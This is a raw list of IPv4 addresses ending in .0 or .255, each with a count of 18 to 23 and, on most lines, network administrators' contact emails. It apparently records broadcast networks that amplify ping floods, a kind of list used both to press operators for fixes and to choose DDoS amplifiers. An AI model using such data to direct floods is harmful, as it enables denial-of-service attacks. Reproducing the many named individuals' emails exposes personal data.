23 209.133.52.255 ecsd@transbay.net
23 209.190.102.255 hostmaster@thenap.net
23 207.190.143.255 hostmaster@source.net
23 208.129.226.255 vince@markzware.com
23 210.224.143.0 hostmaster@nic.ad.jp
23 207.62.155.255 netadmin@moe.calpoly.edu
23 208.5.185.0 nomailbox@nowhere
23 208.5.185.255 nomailbox@nowhere
23 207.247.41.0 William_Brechka@wcom.com
23 207.247.41.255 William_Brechka@wcom.com
23 206.201.241.255 scarr@huensd.k12.ca.us
23 207.62.158.255 netadmin@moe.calpoly.edu
23 206.43.52.255 baron@aa.net
23 209.56.155.255 dave.klinkefus@icn.state.ia.us
23 216.116.105.0 michael@sctraining.com
23 209.76.79.0 emorton@shastalink.k12.ca.us
23 209.122.30.255 domreg@erols.com
23 209.76.79.255 emorton@shastalink.k12.ca.us
23 207.174.179.0 jmiller@netinfrastructure.com
23 207.174.179.255 jmiller@netinfrastructure.com
23 216.168.240.255 cwei@netsol.com
22 24.4.63.255 (none)
22 24.6.19.0 noc@noc.home.net
22 192.160.219.0 greenup@whittier.edu
22 193.104.180.255
22 193.106.23.255 yp@jouve.fr
22 193.15.208.0
22 193.252.125.0 postmaster@wanadoo.fr, abuse@wanadoo.fr,
Sylvain.Causse@wanadoo.com
22 193.252.125.255 postmaster@wanadoo.fr, abuse@wanadoo.fr,
Sylvain.Causse@wanadoo.com
22 193.98.234.0 admin@bbr-bremen.de
22 193.98.234.255 admin@bbr-bremen.de
22 195.14.130.0 c.a.makris@cytanet.com.cy
22 195.14.130.255 c.a.makris@cytanet.com.cy
22 195.14.133.0 c.a.makris@cytanet.com.cy
22 195.14.133.255 c.a.makris@cytanet.com.cy
22 195.171.110.0
22 195.171.110.255
22 195.41.127.0 aloc@image.dk
22 198.150.128.0 jengel@co.waukesha.wi.us
22 198.180.133.0 dnorwood@asnaam.aamu.edu
22 198.180.133.255 dnorwood@asnaam.aamu.edu
22 198.74.38.0 kengle@dynamix.com
22 198.74.38.255 kengle@dynamix.com
22 199.111.112.0 jaj@virginia.edu
22 199.182.135.255 hostmaster@maxstrat.com
22 200.47.63.0 linoc@comsat.com.ar
22 202.103.129.0
22 202.167.1.0
22 202.167.1.255
22 202.212.212.0 hostmaster@nic.ad.jp
22 203.126.205.0 hostmaster@singnet.com.sg
22 203.126.205.255 hostmaster@singnet.com.sg
22 203.29.106.0 hostmaster@telstra.net
22 204.116.114.0
22 204.116.114.255
22 204.116.96.0 mckee@admin.infoave.net
22 204.131.140.255 emontero@gmgw.com
22 204.152.145.0 netmaster@organic.com
22 204.152.145.255 netmaster@organic.com
22 204.181.91.255 nomailbox@nowhere
22 204.196.30.255 shreid@alpha.nsula.edu
22 204.228.247.255 bgore@mti.micron.com
22 204.239.13.0 luv@district.north-van.bc.ca
22 204.239.13.255 luv@district.north-van.bc.ca
22 204.4.60.0 postmaster@harbinger.com
22 204.4.60.255 postmaster@harbinger.com
22 204.44.244.0 tahiels@worldnet.att.net
22 204.44.244.255 tahiels@worldnet.att.net
22 204.7.9.255 hostinfo@psi.com
22 205.126.58.0 mcleary@uen.org
22 205.126.58.255 mcleary@uen.org
22 205.143.123.255 rtesta@gia.org
22 205.208.65.255 mhwu@metropolitan.com
22 205.213.18.255 Marlys.A.Nelson@uwrf.edu
22 205.243.90.0 nomailbox@nowhere
22 205.243.90.255 nomailbox@nowhere
22 205.246.52.0 carter@dgsys.com
22 206.0.253.0 hostinfo@psi.com
22 206.0.253.255 hostinfo@psi.com
22 206.104.102.0 netadmin@onramp.net
22 206.104.102.255 netadmin@onramp.net
22 206.16.91.0 dns@cerf.net
22 206.161.8.0 domreg@cais.net
22 206.161.8.255 domreg@cais.net
22 206.166.243.0 mwilliam@ptc.dcs.edu
22 207.213.24.0 dennis@globalpac.com
22 207.213.24.255 dennis@globalpac.com
22 208.152.72.0 noc@extremezone.com
22 208.151.138.0
22 210.134.206.0 hostmaster@nic.ad.jp
22 210.156.209.0 hostmaster@nic.ad.jp
22 210.156.210.0 hostmaster@nic.ad.jp
22 210.156.210.255 hostmaster@nic.ad.jp
22 207.165.80.0 dave.klinkefus@icn.state.ia.us
22 209.215.20.0 ipadmin@bellsouth.net
22 216.78.24.0 ipadmin@bellsouth.net
22 209.214.200.0 ipadmin@bellsouth.net
22 209.215.220.0 ipadmin@bellsouth.net
22 209.215.20.255 ipadmin@bellsouth.net
22 216.78.25.255 ipadmin@bellsouth.net
22 209.214.201.255 ipadmin@bellsouth.net
22 207.202.18.0 rosterman@rtquotes.com
22 210.172.192.0 hostmaster@nic.ad.jp
22 209.63.195.0 sforester@e-infoinc.com
22 210.172.217.0 hostmaster@nic.ad.jp
22 207.202.18.255 rosterman@rtquotes.com
22 207.165.80.255 dave.klinkefus@icn.state.ia.us
22 210.172.192.255 hostmaster@nic.ad.jp
22 209.63.195.255 sforester@e-infoinc.com
22 207.193.232.255 hostmaster@swbell.net
22 206.234.131.0 hostinfo@psi.com
22 209.162.12.0 noc@thegrid.net
22 209.162.40.0 noc@thegrid.net
22 209.162.54.0 noc@thegrid.net
22 210.175.200.0 hostmaster@nic.ad.jp
22 209.162.0.255 noc@thegrid.net
22 209.234.11.255 Al.Johnson@state.net
22 209.162.47.255 noc@thegrid.net
22 209.162.54.255 noc@thegrid.net
22 210.175.200.255 hostmaster@nic.ad.jp
22 206.54.236.255 jmcdonald@megsinet.net
22 209.234.11.0 Al.Johnson@state.net
22 207.141.96.0 nomailbox@nowhere
22 209.181.178.0 dns-info@uswest.net
22 209.181.179.0 dns-info@uswest.net
22 208.207.33.255 noc@bigplanet.net
22 207.141.96.255 nomailbox@nowhere
22 206.234.131.255 hostinfo@psi.com
22 210.175.20.0 hostmaster@nic.ad.jp
22 207.16.68.0 minieri@harbinger.net
22 207.16.71.0 minieri@harbinger.net
22 209.78.199.0 david.barnes@goar.com
22 209.119.14.255 noc@digex.net
22 207.16.68.255 minieri@harbinger.net
22 207.16.71.255 minieri@harbinger.net
22 209.78.199.255 david.barnes@goar.com
22 207.42.162.0 postmaster@southernvirginia.edu
22 209.213.205.255 mickey@nanospace.com
22 216.3.77.0 dns@digex.net
22 207.28.182.0 dave.klinkefus@icn.state.ia.us
22 216.101.60.255 nomailbox@nowhere
22 216.3.77.255 dns@digex.net
22 207.28.182.255 dave.klinkefus@icn.state.ia.us
22 206.81.214.255 dns-info@uswest.net
22 209.73.238.0 hostmaster@pfmc.net
22 209.73.238.255 hostmaster@pfmc.net
22 208.14.86.0 mussel@ix.netcom.com
22 206.50.218.0 netadmin@onramp.net
22 208.14.86.255 mussel@ix.netcom.com
22 206.50.218.255 netadmin@onramp.net
22 209.14.135.255 dnr@spacelab.net
22 216.32.96.255 Cstewart@flycast.com
22 207.154.48.0 carter@dgsys.com
22 207.154.48.255 carter@dgsys.com
22 208.237.218.255 kjustice@bellatantic.net
22 208.228.243.255 mpladsen@ustele.com
22 216.101.60.0 nomailbox@nowhere
21 24.217.0.255 mczakaria@chartercom.com
21 155.50.21.0 bgallant@keps.com
21 155.50.21.255 bgallant@keps.com
21 161.223.77.255
21 192.204.141.0
21 192.204.141.255
21 192.72.144.0 kaoci@tpts1.seed.net.tw
21 192.72.144.255 kaoci@tpts1.seed.net.tw
21 193.158.2.0 tgoetz@cube.net, Horn@eins-und-eins.de
21 193.164.172.255 tony@anglianet.co.uk
21 193.48.165.255 Michel.Leduc@univ-lehavre.fr,
Serge.Huberson@univ-lehavre.fr
21 194.168.215.0 nmc@ntli.net
21 194.6.190.0 postmaster@hitline.ch
21 195.179.117.0 lillge@is-europe.net
21 195.222.211.255
21 198.189.54.255 nes@4c.net
21 198.59.97.0 valdez@chicoma.unm.losalamos.nm.us
21 198.59.97.255 valdez@chicoma.unm.losalamos.nm.us
21 199.108.249.0 dns@cerf.net
21 199.108.251.0 dns@cerf.net
21 200.23.168.0 alex@lince.itcelaya.ciateq.mx
21 200.23.42.0 jescalera@mail.nl.gob.mx
21 200.41.130.0 mariano.okon@tld.net.ar
21 200.41.130.255 mariano.okon@tld.net.ar
21 202.103.134.0
21 202.103.160.0 dmkou@publicf.bta.net.cn,
wumian@gdnmc.guangzhou.gd.cn
21 202.32.54.0 hostmaster@nic.ad.jp
21 202.96.137.0
21 203.149.0.0 chalee@samart.co.th, siriporn@samart.co.th
21 203.149.0.255 chalee@samart.co.th, siriporn@samart.co.th
21 203.149.33.0 chalee@samart.co.th, siriporn@samart.co.th
21 203.149.33.255 chalee@samart.co.th, siriporn@samart.co.th
21 203.176.24.0 reyc@pworld.net.ph, map@iphil.net
21 203.176.56.0 fdcj@iphil.net, map@iphil.net
21 203.176.6.0 reyc@pworld.net.ph, map@iphil.net
21 203.242.136.0 mgr@ktnet.co.kr, ip@ktnet.co.kr
21 203.242.136.255 mgr@ktnet.co.kr, ip@ktnet.co.kr
21 203.242.255.0 mgr@ktnet.co.kr, ip@ktnet.co.kr
21 203.242.255.255 mgr@ktnet.co.kr, ip@ktnet.co.kr
21 203.75.104.255 admin@hinet.net, chlin@netnews.hinet.net
21 204.131.140.0 emontero@gmgw.com
21 204.131.142.255 emontero@gmgw.com
21 204.133.157.255 kenf@evt.com
21 204.228.247.0 bgore@mti.micron.com
21 204.248.234.0 bhufendick@forsythe.com
21 204.248.234.255 bhufendick@forsythe.com
21 204.254.10.0 help@uunet.uu.net
21 204.254.8.0 help@uunet.uu.net
21 204.254.8.255 help@uunet.uu.net
21 204.48.149.0 tuma@ceo.sbceo.k12.ca.us
21 204.48.149.255 tuma@ceo.sbceo.k12.ca.us
21 205.213.18.0 Marlys.A.Nelson@uwrf.edu
21 205.246.52.255 carter@dgsys.com
21 205.253.114.0 karl@mcs.com
21 206.140.82.0 lak@aads.net
21 206.140.82.255 lak@aads.net
21 206.155.128.0 nomailbox@nowhere
21 206.155.128.255 nomailbox@nowhere
21 206.155.129.0 nomailbox@nowhere
21 206.155.129.255 nomailbox@nowhere
21 206.166.202.0 simonton@chlaw.com
21 206.166.202.255 simonton@chlaw.com
21 210.237.174.0 hostmaster@nic.ad.jp
21 210.237.174.255 hostmaster@nic.ad.jp
21 208.12.176.0 nomailbox@nowhere
21 208.12.176.255 nomailbox@nowhere
21 208.204.158.0 brett@winkcomm.com
21 210.156.197.0 hostmaster@nic.ad.jp
21 210.156.207.0 hostmaster@nic.ad.jp
21 208.204.158.255 brett@winkcomm.com
21 210.156.197.255 hostmaster@nic.ad.jp
21 207.213.16.0 nomailbox@nowhere
21 207.213.16.255 nomailbox@nowhere
21 210.225.196.255 hostmaster@nic.ad.jp
21 208.205.235.255 amurarka@splyglass.com
21 208.205.235.0 amurarka@splyglass.com
21 209.100.42.255 dmarlow@ccm.net
21 209.3.104.255 support@iconnet.net
21 209.21.153.255 hostmaster@harvard.net
21 210.156.207.255 hostmaster@nic.ad.jp
21 208.3.238.255 parker@nandover.mec.edu
21 209.77.127.0 rick@foothill.net
21 207.43.198.0 larry@amicus.com
21 210.67.64.255 JamesKLin@acer.net, JacksonWeng@acer.net
21 207.43.199.255 larry@amicus.com
21 207.196.146.0 marsh@selway.umt.edu
21 207.176.171.0 rpatch@skylinc.net
21 207.196.146.255 marsh@selway.umt.edu
21 207.183.157.255 noc@unicom.net
21 207.176.171.255 rpatch@skylinc.net
21 207.107.84.255 noc@sprint-canada.net
21 207.71.209.255 domreg@silcom.com
21 208.14.42.0 jerry@digital.net
21 206.74.69.0 mckee@admin.infoave.net
21 210.118.74.0 mgr@samsung.co.kr, ip@samsung.co.kr
21 206.74.198.0 mckee@admin.infoave.net
21 209.213.205.0 mickey@nanospace.com
21 208.211.250.0 aharris@greysf.com
21 206.74.69.255 mckee@admin.infoave.net
21 210.118.74.255 mgr@samsung.co.kr, ip@samsung.co.kr
21 208.152.111.255 jbrown@busprod.com
21 206.74.198.255 mckee@admin.infoave.net
21 207.86.229.255 dns@digex.net
21 207.111.2.0 jwilder@eric.mower.com
21 208.152.111.0 jbrown@busprod.com
21 209.233.239.0 ip-admin@pbi.net
21 208.216.228.255 dcl@xns.net
21 208.224.77.255 timmy@bcn.net
21 209.134.22.0 noc@worldsite.net
21 206.26.77.0 valdez@206.26.76.10
21 209.134.22.255 noc@worldsite.net
21 208.163.48.0 brian@mediacity.com
21 210.165.18.0 hostmaster@nic.ad.jp
21 207.62.155.0 netadmin@moe.calpoly.edu
21 208.150.208.0 aselden@wgm.org
21 206.3.34.255 hostinfo@psi.com
21 208.150.208.255 aselden@wgm.org
21 216.190.16.0 scottm@mpire.net
21 216.46.78.0 admin@terabit.net
21 216.190.16.255 scottm@mpire.net
21 207.125.25.255 ip-mgr@mail.state.tn.us
21 216.46.78.255 admin@terabit.net
21 207.243.35.255 nomailbox@nowhere
21 210.235.130.255 hostmaster@nic.ad.jp
21 209.108.94.0
21 209.145.20.0 peterb@imagine.com
21 212.47.201.0 neeme@data.ee, cougar@data.ee
21 216.168.240.0 cwei@netsol.com
21 209.145.20.255 peterb@imagine.com
20 62.132.254.0 reckert@vobis.de, stolz@vobis.de
20 62.132.254.255 reckert@vobis.de, stolz@vobis.de
20 192.204.84.0
20 192.204.84.255
20 193.15.43.255
20 193.164.172.0 tony@anglianet.co.uk
20 193.47.32.0
20 193.47.60.0
20 193.52.147.0 Gerard.Lietout@univ-rouen.fr
20 194.109.94.0 netmaster@xs4all.nl, sasja@lostboys.nl
20 194.168.255.0 nmc@ntli.net, amon@vnl.com
20 194.168.255.255 nmc@ntli.net, amon@vnl.com
20 194.229.95.255
20 194.250.16.0 bourgeois@fermic.fr, niel@fermic.fr
20 194.255.12.0 paaske@internet.dk
20 194.255.12.255 paaske@internet.dk
20 194.65.129.0 sialrm@mail.telepac.pt
20 195.146.32.0 dci@dci.iran.com, mohebali@www.dci.co.ir
20 195.224.212.0 nic@gxn.net, hatter@magic-moments.com
20 195.224.212.255 nic@gxn.net, hatter@magic-moments.com
20 195.25.165.255 hostmaster@oleane.net, amorise@allnet.fr
20 195.7.221.0 bulderm@psi.com
20 195.7.221.255 bulderm@psi.com
20 195.89.160.0 matthew@flexnet.net
20 195.89.163.0 matthew@flexnet.net
20 195.89.163.255 matthew@flexnet.net
20 198.145.48.0 dns@e-z.net
20 198.189.54.0 nes@4c.net
20 199.172.116.0 jeffs@sykes.com
20 199.172.116.255 jeffs@sykes.com
20 199.172.117.0 jeffs@sykes.com
20 199.172.117.255 jeffs@sykes.com
20 199.237.181.0 domainmaster@nw.verio.net
20 199.237.181.255 domainmaster@nw.verio.net
20 199.254.12.0 grw@sequana.com
20 199.80.64.255 mjd@te6000.otc.lsu.edu
20 200.10.112.0 carlospe@ssdnet.com.ar
20 200.10.112.255 carlospe@ssdnet.com.ar
20 200.23.168.255 alex@lince.itcelaya.ciateq.mx
20 200.34.53.0 manza@sureste.com
20 200.38.83.0 a_gd@hotmail.com
20 200.38.83.255 a_gd@hotmail.com
20 200.47.26.0 linoc@comsat.com.ar
20 200.47.26.255 linoc@comsat.com.ar
20 202.218.13.255 technical@apnic.net
20 202.225.130.0
20 202.32.54.255 hostmaster@nic.ad.jp
20 202.77.143.0 belcina@attmail.com
20 202.77.143.255 belcina@attmail.com
20 202.77.144.0 belcina@attmail.com
20 202.99.5.0
20 203.127.92.255 cheong@singnet.com.sg, hostmaster@singnet.com.sg
20 203.146.20.0 kitti@gssthai.com, tc@loxinfo.co.th
20 204.133.45.0 sbrown@co.weld.co.us
20 204.133.45.255 sbrown@co.weld.co.us
20 204.196.30.0 shreid@alpha.nsula.edu
20 204.243.104.255 hostinfo@psi.com
20 204.7.252.0 hostinfo@psi.com
20 204.7.252.255 hostinfo@psi.com
20 205.146.44.255
20 205.178.35.255 dave@brainstorm.net
20 205.205.76.255 leveque@mediafusion.ca
20 205.217.139.0 steve-breese@icva.gov
20 205.217.139.255 steve-breese@icva.gov
20 205.230.89.0 help@uunet.uu.net
20 205.230.89.255 help@uunet.uu.net
20 205.231.229.0 Daniel.Malcor@internetaddress.com
20 205.231.229.255 Daniel.Malcor@internetaddress.com
20 205.253.201.0 karl@mcs.com
20 206.154.117.0 gcoodley@siebel.com
20 206.154.117.255 gcoodley@siebel.com
20 208.153.241.255 lnguyen@gstworld.net
20 206.23.186.0 jwinters@tec.net
20 206.253.240.255 cql@cdimed.com
20 210.67.64.0 JamesKLin@acer.net, JacksonWeng@acer.net
20 208.211.250.255 aharris@greysf.com
20 207.212.34.0 ip-admin@pbi.net
20 207.245.43.0 NOCToronto@metronet.ca
20 210.135.90.0 hostmaster@nic.ad.jp
20 209.140.145.0 darin@good.net
20 212.33.192.0 tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo
20 207.71.245.0 domreg@silcom.com
20 207.212.34.255 ip-admin@pbi.net
20 210.135.90.255 hostmaster@nic.ad.jp
20 207.237.144.255 domreg@interport.net
20 209.140.145.255 darin@good.net
20 212.33.192.255 tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo
20 207.55.211.255 techsup@nkn.net
20 216.12.32.0 dns@cfw.com
20 216.50.66.0 technical@kivex.com
20 207.62.158.0 netadmin@moe.calpoly.edu
20 208.242.160.0 melkor@ulster.net
20 208.21.40.255 nomailbox@nowhere
20 216.50.66.255 technical@kivex.com
20 208.242.160.255 melkor@ulster.net
20 206.23.186.255 jwinters@tec.net
20 206.63.192.255 edm@nwnexus.wa.com
20 207.202.45.0 noc@corp.idt.net
20 208.200.173.0 jd@dynasty.net
20 207.202.45.255 noc@corp.idt.net
20 208.200.173.255 jd@dynasty.net
20 207.122.21.0 ops@bbnplanet.com
20 209.173.69.0 bni@bnisolutions.com
20 210.72.253.0 flink@flink.cn.net, flink@flink.cn.net
20 207.122.17.255 ops@bbnplanet.com
20 207.122.21.255 ops@bbnplanet.com
20 216.84.9.0 netadmin@southernet.net
20 207.122.17.0 ops@bbnplanet.com
20 207.113.158.0 hostmaster@crl.com
20 207.220.64.255 ejm@amadaamerica.com
20 207.113.158.255 hostmaster@crl.com
20 207.142.199.255 Torrisi@pcsltd.com
20 208.167.58.0 jmalerbi@turningpoint.com
20 208.167.58.255
20 209.91.205.255 cmarazzi@caribe.net
20 209.133.189.0 colgate@oir.state.sc.us
20 209.133.189.255 colgate@oir.state.sc.us
20 212.68.64.0 steffens@wespe.de, schmidt@digadd.de,
andreas@wespe.de
20 206.52.82.0 bdot@toto.net
20 212.68.64.255 steffens@wespe.de, schmidt@digadd.de,
andreas@wespe.de
20 207.177.122.255
20 208.164.139.255 webmaster@inu.net
20 208.164.139.0 webmaster@inu.net
20 209.56.155.0 dave.klinkefus@icn.state.ia.us
20 210.61.164.0 mchuang@ever.com.tw
20 206.23.185.0 jwinters@tec.net
20 210.61.164.255 mchuang@ever.com.tw
20 210.61.166.255 admin@hinet.net, chlin@netnews.hinet.net
20 206.23.185.255 jwinters@tec.net
20 209.38.3.0 dnsadmin@rmi.net
20 206.30.10.0 dgrosskopf@startek.com
20 209.38.3.255 dnsadmin@rmi.net
20 206.30.10.255 dgrosskopf@startek.com
20 208.158.116.0 nomailbox@nowhere
20 210.235.130.0 hostmaster@nic.ad.jp
20 207.230.223.0 network@centurytel.com
20 209.75.197.255 noc@atmnet.net
20 216.206.135.0 rsmith@hop-electric.com
20 216.60.246.0 hostmaster@swbell.net
20 216.206.135.255 rsmith@hop-electric.com
20 207.77.119.0
20 207.77.119.255 postmaster@ellstreet.com
20 206.52.82.255 bdot@toto.net
20 207.165.76.0 dave.klinkefus@icn.state.ia.us
20 207.165.76.255 dave.klinkefus@icn.state.ia.us
19 63.67.55.0 nomailbox@nowhere
19 155.50.25.0 bgallant@keps.com
19 155.50.25.255 bgallant@keps.com
19 161.223.113.0
19 161.223.113.255
19 161.223.126.255
19 161.223.34.0
19 161.223.34.255
19 193.119.172.0
19 193.140.128.0 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr
19 193.140.128.255 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr
19 193.140.130.255 serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr
19 193.140.141.0
19 193.140.141.255
19 194.199.122.0 maxcasty@tin.it
19 194.199.122.255 maxcasty@tin.it
19 194.217.222.255 postmaster@heathmill.com
19 194.217.65.255 postmaster@lifecomputers.com
19 194.250.16.255 bourgeois@fermic.fr, niel@fermic.fr
19 195.141.97.0 peter.gilli@ubs.com
19 195.220.182.0 Patrice.Koch@univ-fcomte.fr, Gilles.Joly@univ-
fcomte.fr
19 195.249.89.255
19 195.97.167.255 hein@euroconnect.net
19 198.107.47.255 jackp@ogitel.net
19 198.182.200.0 nizar@elem.com
19 198.64.37.0 hostmaster@sesqui.net
19 198.64.37.255 hostmaster@sesqui.net
19 199.100.114.255 hostinfo@psi.com
19 199.104.86.255 Bryon.Boam@mhz.com
19 199.106.0.0 dns@cerf.net
19 199.111.79.0 jaj@virginia.edu
19 199.111.79.255 jaj@virginia.edu
19 199.111.88.0 jaj@virginia.edu
19 199.111.88.255 jaj@virginia.edu
19 199.249.128.0 rcc@ancor.com
19 199.75.86.0 pammer@ususp.mo.md.us
19 199.75.86.255 pammer@ususp.mo.md.us
19 200.34.53.255 manza@sureste.com
19 202.160.8.0 rao@technet.sg
19 202.160.8.255 rao@technet.sg
19 202.179.228.0
19 202.179.232.0
19 202.216.64.0 technical@apnic.net
19 202.216.64.255 technical@apnic.net
19 202.234.38.0 hostmaster@nic.ad.jp
19 202.234.38.255 hostmaster@nic.ad.jp
19 202.36.235.0 nzhollley@applelink.apple.com
19 202.36.235.255 nzhollley@applelink.apple.com
19 202.94.7.0 michael@netchina.co.cn
19 203.146.20.255 kitti@gssthai.com, tc@loxinfo.co.th
19 203.16.25.0 hostmaster@telstra.net
19 203.179.96.0 hostmaster@nic.ad.jp
19 203.179.96.255 hostmaster@nic.ad.jp
19 203.182.136.0 hostmaster@nic.ad.jp
19 203.182.136.255 hostmaster@nic.ad.jp
19 203.182.32.0 hostmaster@nic.ad.jp
19 203.182.32.255 hostmaster@nic.ad.jp
19 203.183.120.0 hostmaster@nic.ad.jp
19 203.2.133.0 acer-au@NIC.AU.NET
19 203.2.133.255 acer-au@NIC.AU.NET
19 203.20.92.0 hostmaster@telstra.net
19 204.131.108.0 emontero@gmgw.com
19 204.131.108.255 emontero@gmgw.com
19 204.133.157.0 kenf@evt.com
19 204.189.114.255 buddyj@hic.net
19 204.193.150.0 noc@cyberconnection.com
19 204.193.150.255 noc@cyberconnection.com
19 204.201.1.0 its@nw.verio.net
19 204.201.1.255 its@nw.verio.net
19 204.210.65.0 rwintel@twmaine.com
19 204.210.65.255 rwintel@twmaine.com
19 204.243.104.0 hostinfo@psi.com
19 204.29.120.0 DNS@asc.edu
19 204.29.120.255 DNS@asc.edu
19 204.29.82.0 DNS@asc.edu
19 204.29.82.255 DNS@asc.edu
19 204.60.10.0 cmiller@snet.net
19 204.60.10.255 cmiller@snet.net
19 204.60.11.0 cmiller@snet.net
19 204.60.11.255 cmiller@snet.net
19 204.60.8.0 cmiller@snet.net
19 204.60.8.255 cmiller@snet.net
19 204.60.9.0 cmiller@snet.net
19 204.60.9.255 cmiller@snet.net
19 204.92.78.0 wayne@hodes.com
19 204.92.78.255 wayne@hodes.com
19 204.96.174.255
19 205.124.132.0 mcleary@uen.org
19 205.124.132.255 mcleary@uen.org
19 205.126.32.0 mcleary@uen.org
19 205.126.32.255 mcleary@uen.org
19 205.139.138.0 cengiz@netmar.com
19 205.139.138.255 cengiz@netmar.com
19 205.146.44.0
19 205.151.60.0 rivard@bdds.com
19 205.151.60.255 rivard@bdds.com
19 205.171.33.0 hostmaster@csn.net
19 205.171.33.255 hostmaster@csn.net
19 205.174.194.0 dharringt@deq.state.va.us
19 205.174.194.255 dharringt@deq.state.va.us
19 205.200.212.0 lesko@mts.net
19 205.200.212.255 lesko@mts.net
19 205.205.131.0 dgiroux@cenosis.com
19 205.229.125.255 twright@cathedral.org
19 205.229.126.255 twright@cathedral.org
19 206.102.165.255 nomailbox@nowhere
19 206.104.254.0 tony@sonet.net
19 206.104.254.255 tony@sonet.net
19 207.12.145.255 sbeverly@wavegate.com
19 206.6.19.0 hostinfo@psi.com
19 208.153.241.0 lnguyen@gstworld.net
19 206.23.195.255 jwinters@tec.net
19 209.212.228.0 andym@ntt.net
19 206.253.240.0 cql@cdimed.com
19 209.122.182.0 domreg@erols.com
19 209.172.65.255 hostmaster@innetix.com
19 207.113.154.255 hostmaster@crl.com
19 208.163.133.0 tony.kliphuis@quebecorusa.com
19 207.237.174.0 domreg@interport.net
19 206.216.219.0 kdelande@neton-line.com
19 208.161.62.255 jdm@networkcs.com
19 208.163.133.255 tony.kliphuis@quebecorusa.com
19 207.237.174.255 domreg@interport.net
19 206.216.219.255 kdelande@neton-line.com
19 207.205.77.0 dhovland@mpegla.com
19 209.5.112.0 noc@sprint-canada.net
19 209.5.116.0 noc@sprint-canada.net
19 209.5.117.0 noc@sprint-canada.net
19 209.5.118.0 noc@sprint-canada.net
19 209.183.196.0 noc@atlantech.net
19 209.16.223.0 james@fastrans.net
19 210.160.254.0 hostmaster@nic.ad.jp
19 216.93.12.255 ipadmin@voyager.net
19 207.1.76.255 nomailbox@nowhere
19 209.5.112.255 noc@sprint-canada.net
19 209.5.116.255 noc@sprint-canada.net
19 209.5.117.255 noc@sprint-canada.net
19 209.5.118.255 noc@sprint-canada.net
19 210.160.254.255 hostmaster@nic.ad.jp
19 207.64.19.0 o_cresson@twu.edu
19 207.168.219.0 dnstech@eni.net
19 216.12.32.255 dns@cfw.com
19 207.168.219.255 dnstech@eni.net
19 207.242.168.0 info@osuny.com
19 206.26.226.0 jjs@midcoast.com
19 209.84.232.0 ipadmin@gte.net
19 216.24.4.255 tague@win.net
19 207.64.19.255 o_cresson@twu.edu
19 207.242.168.255 info@osuny.com
19 206.26.226.255 jjs@midcoast.com
19 209.84.232.255 ipadmin@gte.net
19 210.171.0.0 hostmaster@nic.ad.jp
19 207.230.88.0 tony@sonet.net
19 210.163.149.0 hostmaster@nic.ad.jp
19 210.171.0.255 hostmaster@nic.ad.jp
19 207.230.88.255 tony@sonet.net
19 207.126.109.255 noc@above.net
19 208.149.222.255 domreg@cicom.net
19 207.139.14.0 wojciech@gbmicro.com
19 208.150.5.255 hostmaster@netmcr.com
19 208.242.140.255 lykenss1@equimed.com
19 206.64.176.255 noc@itg.net
19 208.155.228.255 ipswip@cw.net
19 208.229.142.0 gbooth@internetwerx.com
19 207.142.199.0 Torrisi@pcsltd.com
19 208.168.235.0 tblackm@remc8.k12.mi.us
19 207.133.114.255 HOSTMASTER@nic.mil
19 208.168.235.255 tblackm@remc8.k12.mi.us
19 206.204.38.0 noc@conxion.net
19 207.234.23.255 hostmaster@telalink.net
19 208.199.187.255 meta4@interramp.com
19 207.234.23.0 hostmaster@telalink.net
19 208.15.164.255 tony@atapco-custom.com
19 216.30.18.0 kenneth@jump.net
19 208.224.77.0 timmy@bcn.net
19 216.30.18.255 kenneth@jump.net
19 210.61.166.0 admin@hinet.net, chlin@netnews.hinet.net
19 209.22.10.0 HOSTMASTER@nic.mil
19 208.165.12.0 rick@augustmartin.net
19 208.165.14.0 rick@augustmartin.net
19 208.165.15.0 rick@augustmartin.net
19 209.22.10.255 HOSTMASTER@nic.mil
19 208.165.12.255 rick@augustmartin.net
19 208.165.14.255 rick@augustmartin.net
19 208.165.15.255 rick@augustmartin.net
19 210.249.139.0 maruyama@nic.ad.jp, yasuhiro@nic.ad.jp,
kojima@nic.ad.jp, kentaro@nic.ad.jp
19 210.249.139.255 maruyama@nic.ad.jp, yasuhiro@nic.ad.jp,
kojima@nic.ad.jp, kentaro@nic.ad.jp
19 209.161.37.0 dave@cyberhighway.net
19 209.161.37.255 dave@cyberhighway.net
19 209.227.8.0 eric@mxol.com
19 206.247.91.0 rkd@rmi.net
19 209.227.8.255 eric@mxol.com
19 208.17.89.255 gpiran@metrocon.com
19 206.247.91.255 rkd@rmi.net
19 209.242.205.255 jim@alphachannel.com
19 209.177.50.0 siavash@medaille.edu
19 207.28.110.0 dave.klinkefus@icn.state.ia.us
19 209.106.32.255 ben@more.net
19 209.177.50.255 siavash@medaille.edu
19 207.28.110.255 dave.klinkefus@icn.state.ia.us
19 207.139.157.255 pbreton@mediagrif.com
19 209.106.33.0 ben@more.net
19 209.172.101.255 hostmaster@innetix.com
19 216.102.249.255 ip-admin@pbi.net
18 62.8.10.0 lemann@gulliver.fr
18 62.8.10.255 lemann@gulliver.fr
18 62.8.11.255 lemann@gulliver.fr
18 152.9.52.0 westg@mars.nccu.edu
18 152.9.52.255 westg@mars.nccu.edu
18 167.199.232.0 jda51@state.ga.us
18 167.199.232.255 jda51@state.ga.us
18 192.174.42.0
18 192.174.42.255
18 192.246.227.0 hostinfo@psi.com
18 192.246.227.255 hostinfo@psi.com
18 192.93.178.0 Annie.Renard@inria.fr
18 192.93.79.0 Annie.Renard@inria.fr
18 192.93.79.255 Annie.Renard@inria.fr
18 193.13.178.0
18 193.13.178.255
18 193.180.104.0 bengt.skoog@helsingborg.se
18 193.180.104.255 bengt.skoog@helsingborg.se
18 193.204.215.255 staff-lir@garr.net, Enzo.Valente@infn.it,
lupi@sdc.asi.it
18 193.52.75.0 dupre@genome.vjf.inserm.fr
18 193.52.75.255 dupre@genome.vjf.inserm.fr
18 194.112.195.0 joerg.jakober@plus.at, Philip.Hammersley@plus.at
18 194.112.195.255 joerg.jakober@plus.at, Philip.Hammersley@plus.at
18 194.183.102.0 jpd@caop.nl
18 194.183.102.255 jpd@caop.nl
18 194.183.204.255 ndenise@siris.fr, ruch@siris.fr
18 194.183.218.0 lemann@gulliver.fr
18 194.183.218.255 lemann@gulliver.fr
18 194.217.183.255 postmaster@network-technology.com
18 194.217.65.0 postmaster@lifecomputers.com
18 194.229.95.0
